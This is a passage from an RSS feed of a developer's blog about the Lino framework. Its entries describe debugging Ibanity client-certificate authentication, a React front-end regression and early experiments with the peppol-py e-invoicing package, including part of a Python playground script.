&lt;p&gt;I stored the client cert files in a directory below my &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;~/.ssh&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I read &lt;a class="reference external" href="https://requests.readthedocs.io/en/latest/user/advanced/#client-side-certificates"&gt;https://requests.readthedocs.io/en/latest/user/advanced/#client-side-certificates&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I had to decrypt the private key because Python’s requests module doesn’t
support encrypted keys:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cd ~/.ssh/ibanity
$ openssl rsa -in private_key.pem -out decrypted_private_key.pem
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now I am getting:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SSLError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;SSL&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;PEM&lt;/span&gt; &lt;span class="n"&gt;lib&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_ssl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3900&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Maybe I specified &lt;cite&gt;key_file&lt;/cite&gt; and &lt;cite&gt;cert_file&lt;/cite&gt; in the wrong order. After inverting
the order I get at least a response:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And 401 means “wrong credentials”. So what is wrong with my credentials?&lt;/p&gt;
&lt;p&gt;I discovered the place in the &lt;cite&gt;python-ibanity&lt;/cite&gt; library that does the connection:
&lt;a class="reference external" href="https://github.com/ibanity/ibanity-python/blob/master/ibanity/Ibanity.py"&gt;https://github.com/ibanity/ibanity-python/blob/master/ibanity/Ibanity.py&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I see that the &lt;cite&gt;python-ibanity&lt;/cite&gt; package doesn’t use &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;requests&lt;/span&gt;&lt;/code&gt;. Why?
See &lt;a class="reference internal" href="0114.html"&gt;&lt;span class="doc"&gt;Playing with Ibanity (continued)&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0113.html</guid><pubDate>Mon, 13 Jan 2025 00:00:00 +0000</pubDate></item><item><title>Sunday, January 12, 2025</title><link>https://luc.lino-framework.org/blog/2025/0112.html</link><description>&lt;section id="sunday-january-12-2025"&gt;
&lt;h1&gt;Sunday, January 12, 2025&lt;a class="headerlink" href="#sunday-january-12-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="thoughts-about-detail-links"&gt;
&lt;h2&gt;Thoughts about detail links&lt;a class="headerlink" href="#thoughts-about-detail-links" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Imagine you are building the dashboard for user X in a Lino Noi. You render the
table of recent comments. At some moment you are there, with an instance of
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;comments.Comment&lt;/span&gt;&lt;/code&gt; and want to render a link to the
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;comments.Comment.owner&lt;/span&gt;&lt;/code&gt; of this comment. You call &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar.obj2html()&lt;/span&gt;&lt;/code&gt;,
which calls &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.as_str()&lt;/span&gt;&lt;/code&gt; to build the displayed text and &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;obj2url()&lt;/span&gt;&lt;/code&gt;
to get the URL. Let’s talk about that URL.
It uses the “default table”.
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.get_default_table()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;A different thing is when a row disappears from the list because of the end
user’s change. For example, you are in the list of “Active tickets”, showing the
detail view of one active ticket, and then you click on “Closed”. Lino currently
gives you a “bad request” warning in this case,, which is wrong. The correct
behaviour here should be to skip to the next row, maybe with a warning “Ticket X
is no longer in Active tickets after your change” (although there are situations
where even this warning should get suppressed). If Lino cannot skip to the next
row (because you were on the last one), it should skip back to the previous row.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0112.html</guid><pubDate>Sun, 12 Jan 2025 00:00:00 +0000</pubDate></item><item><title>Sharif is back</title><link>https://luc.lino-framework.org/blog/2025/0103.html</link><description>&lt;section id="sharif-is-back"&gt;
&lt;h1&gt;Sharif is back&lt;a class="headerlink" href="#sharif-is-back" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Friday, January 3, 2025&lt;/p&gt;
&lt;p&gt;Today is a historic day for Lino: Sharif and I had our first meeting after half
a year (see &lt;a class="reference internal" href="../2024/0802.html"&gt;&lt;span class="doc"&gt;Sharif, where are you?&lt;/span&gt;&lt;/a&gt;). We took a screenshot to celebrate this
moment:&lt;/p&gt;
&lt;a href="https://sigal.saffre-rumma.net/2025/01/screenshot_20250103_070413.png"  data-lightbox="image-1" data-title="2025/01/screenshot_20250103_070413.png"/&gt;&lt;img src="https://sigal.saffre-rumma.net/2025/01/thumbnails/screenshot_20250103_070413.png" style="padding:4px; max-width:100%; max-height:20ex" title="2025/01/screenshot_20250103_070413.png"/&gt;&lt;/a&gt;&lt;p&gt;I am profoundly glad that he is healthy and back.  The Synodalsoft team is more
like a family than a company because we are such a small team with &lt;a class="reference external" href="https://www.synodalsoft.net/vision/"&gt;such a big
and vague vision&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Another thing that makes us different from normal software development companies
is that  we do not have any clear plan. We have only 20 customers, and we manage
quite easily to satisfy their needs because Lino focuses on maintainability and
stability. So most of our work is research and development. We advance step by
step following our inner voice.  We have a lot of work and &lt;a class="reference external" href="https://www.synodalsoft.net/jobs/"&gt;we need new team
members&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0103.html</guid><pubDate>Fri, 03 Jan 2025 00:00:00 +0000</pubDate></item><item><title>Sunday, December 22, 2024</title><link>https://luc.lino-framework.org/blog/2024/1222.html</link><description>&lt;section id="sunday-december-22-2024"&gt;
&lt;h1&gt;Sunday, December 22, 2024&lt;a class="headerlink" href="#sunday-december-22-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I found an USB stick in my desktop drawer. When I insert it to my notebook,
nothing happens. In a terminal I can see it:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo fdisk -l
...
Disk /dev/sda: 14,46 GiB, 15525216256 bytes, 30322688 sectors
Disk model: USB DISK 2.0
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x8399da61

Device     Boot Start      End  Sectors  Size Id Type
/dev/sda1        8064 30322687 30314624 14,5G  c W95 FAT32 (LBA)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/1222.html</guid><pubDate>Sun, 22 Dec 2024 00:00:00 +0000</pubDate></item><item><title>Saturday, December 21, 2024</title><link>https://luc.lino-framework.org/blog/2024/1221.html</link><description>&lt;section id="saturday-december-21-2024"&gt;
&lt;h1&gt;Saturday, December 21, 2024&lt;a class="headerlink" href="#saturday-december-21-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I stumbled into what looks like a regression on the &lt;a class="reference external" href="https://cosi1e.lino-framework.org"&gt;cosi1e online demo&lt;/a&gt;. I sign in as robin and then click on the
“749 Sales invoices (SLS)” in the dashboard, … but nothing happens. Or more
precisely the JS console says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Uncaught&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;promise&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ne"&gt;TypeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt;
  &lt;span class="n"&gt;computeDefaults&lt;/span&gt; &lt;span class="n"&gt;NavigationControl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;289&lt;/span&gt;
  &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="n"&gt;NavigationControl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;572&lt;/span&gt;
  &lt;span class="n"&gt;pushPath&lt;/span&gt; &lt;span class="n"&gt;NavigationControl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;731&lt;/span&gt;
  &lt;span class="n"&gt;runAction&lt;/span&gt; &lt;span class="n"&gt;ActionHandler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tsx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;739&lt;/span&gt;
  &lt;span class="n"&gt;checkAndRunAction&lt;/span&gt; &lt;span class="n"&gt;ActionHandler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tsx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;688&lt;/span&gt;
  &lt;span class="n"&gt;runAction&lt;/span&gt; &lt;span class="n"&gt;App&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jsx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;559&lt;/span&gt;
  &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;anonymous&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="n"&gt;NavigationControl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;289&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;47&lt;/span&gt;
  &lt;span class="n"&gt;pushPath&lt;/span&gt; &lt;span class="n"&gt;NavigationControl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;731&lt;/span&gt;
  &lt;span class="n"&gt;AsyncFunctionThrow&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;hosted&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;804&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Async&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;runAction&lt;/span&gt; &lt;span class="n"&gt;ActionHandler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tsx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;739&lt;/span&gt;
  &lt;span class="n"&gt;InterpretGeneratorResume&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;hosted&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1413&lt;/span&gt;
  &lt;span class="n"&gt;AsyncFunctionNext&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;hosted&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;800&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Async&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;checkAndRunAction&lt;/span&gt; &lt;span class="n"&gt;ActionHandler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tsx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;688&lt;/span&gt;
  &lt;span class="n"&gt;runAction&lt;/span&gt; &lt;span class="n"&gt;App&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jsx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;559&lt;/span&gt;
  &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;anonymous&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The URL under the “749 Sales invoices (SLS)” text in the dashboard is:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;javascript&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;App&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;runAction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;actorId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;trading.InvoicesByJournal&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;an&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;grid&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;rp&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;base_params&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;mk&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;mt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;param_values&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;cleared&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;clearedHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;end_period&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;end_periodHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;partner&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;partnerHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;start_period&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;start_periodHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;state&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;stateHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I had a look at the mentioned source code &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;App.jsx&lt;/span&gt;&lt;/code&gt; and
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;ActionHandler.tsx&lt;/span&gt;&lt;/code&gt; (both are in
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;react/lino_react/react/components&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Then I discovered that the problem doesn’t occur on my machine. NB: of course I
had hit &lt;kbd class="kbd docutils literal notranslate"&gt;Shift&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;Ctrl&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;R&lt;/kbd&gt; before starting to investigate. So I cleared the
cookies and site data for the online demo site, signed in again, hit
&lt;kbd class="kbd docutils literal notranslate"&gt;Shift&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;Ctrl&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;R&lt;/kbd&gt; once more, and the issue was gone.&lt;/p&gt;
&lt;p&gt;So I just stumbled into a situation where Lino does not automatically detect
that the &lt;a class="reference external" href="https://react.lino-framework.org/guide/npm.html#term-site-data" title="(in Lino React)"&gt;&lt;span class="xref std std-term"&gt;site data&lt;/span&gt;&lt;/a&gt; needs to get cleared.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/1221.html</guid><pubDate>Sat, 21 Dec 2024 00:00:00 +0000</pubDate></item><item><title>Friday, December 20, 2024</title><link>https://luc.lino-framework.org/blog/2024/1220.html</link><description>&lt;section id="friday-december-20-2024"&gt;
&lt;h1&gt;Friday, December 20, 2024&lt;a class="headerlink" href="#friday-december-20-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I continued to work on Ticket  &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5670"&gt;#5670&lt;/a&gt; (Support e-invoices using
PEPPOL).&lt;/p&gt;
&lt;p&gt;I decided to play with the source code of the &lt;a class="reference external" href="https://github.com/iterasdev/peppol-py"&gt;peppol-py&lt;/a&gt; package. Thanks for publishing your
work, &lt;a class="reference external" href="https://github.com/arj03"&gt;Anders Rune Jensen&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Is it possible that my customers can (and must) become an “access point” of the
Peppol network? So that I just need to install them something like this script?
And when they register a sales invoice in TIM, TIM would call this script, which
would connect to the Peppol network and say “Hello, here I have a new invoice”.&lt;/p&gt;
&lt;p&gt;Before I actually started playing, I worked on the topic page
&lt;a class="reference external" href="https://dev.lino-framework.org/topics/peppol.html#dg-topics-peppol" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Peppol support (e-Invoicing) in Lino&lt;/span&gt;&lt;/a&gt;, trying to get a more or less satisfying understanding
of &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/peppol/jargon.html#term-PEPPOL" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;PEPPOL&lt;/span&gt;&lt;/a&gt; into my little brain. And I got quickly lost.&lt;/p&gt;
&lt;p&gt;For example the first sentence of the &lt;a class="reference external" href="https://github.com/iterasdev/peppol-py/blob/master/README.md"&gt;README.md&lt;/a&gt; file says that
it is a “python implementation for sending peppol eDelivery AS4 documents”. So I
wanted to know what this &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/peppol/jargon.html#term-AS4" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;AS4&lt;/span&gt;&lt;/a&gt; actually means. On &lt;a class="reference external" href="https://docs.peppol.eu/edelivery/as4/specification/"&gt;docs.peppol.eu&lt;/a&gt; I found found the
following definition:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;In short, AS4 is used in the Peppol network for transmission of asynchronous
messages between corner 2 and corner 3 in a Four Corner Topology using the
Peppol PKI for signature and encryption on AS4 message level and SMP/SML for
dynamic discovery.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Did you understand anything? I didn’t. This is a good example of why I need my
own definitions…
Surf, surf, okay, everybody except me seems to know what this “AS4” stands
for, but let’s not get stuck any longer because of this. Let’s have a look at
this source code instead.&lt;/p&gt;
&lt;p&gt;The main script &lt;a class="reference external" href="https://github.com/iterasdev/peppol-py/blob/master/sender.py"&gt;sender.py&lt;/a&gt; wants at least
two arguments: a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--filename&lt;/span&gt;&lt;/code&gt; (I guess that this should be the XML file of the
invoice) and a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--receiver&lt;/span&gt;&lt;/code&gt; (which is then referred to as &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;their_id&lt;/span&gt;&lt;/code&gt;). And
what does it do with this receiver?&lt;/p&gt;
&lt;p&gt;I copied &lt;a class="reference external" href="https://github.com/iterasdev/peppol-py/blob/master/sml.py"&gt;sml.py&lt;/a&gt;
and &lt;a class="reference external" href="https://github.com/iterasdev/peppol-py/blob/master/smp.py"&gt;smp.py&lt;/a&gt; into
a file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;1220.py&lt;/span&gt;&lt;/code&gt; (see below) in order to play with it.&lt;/p&gt;
&lt;p&gt;The README gives an example “9922:NGTBCNTRLP1001” for the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--receiver&lt;/span&gt;&lt;/code&gt;
argument, and I guess that 9922 is an &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/peppol/ubl.html#term-EAS" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;EAS&lt;/span&gt;&lt;/a&gt; code (meaning “Andorra VAT
number”). For my tests I’d rather use 9931 (Estonia VAT number) and our own VAT
number, which is EE100588749.&lt;/p&gt;
&lt;p&gt;Here is my playground script &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;1220.py&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;hashlib&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lxml&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;etree&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;urllib.request&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;urllib.parse&lt;/span&gt;

&lt;span class="c1"&gt;# copied from sml.py:&lt;/span&gt;
&lt;span class="c1"&gt;# SML: receiver -&amp;gt; domain (DNS)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_domain_using_http&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;receiver&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;smp_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;B-&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;receiver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;utf-8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;smp_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;.iso6523-actorid-upis.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;get_server&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;

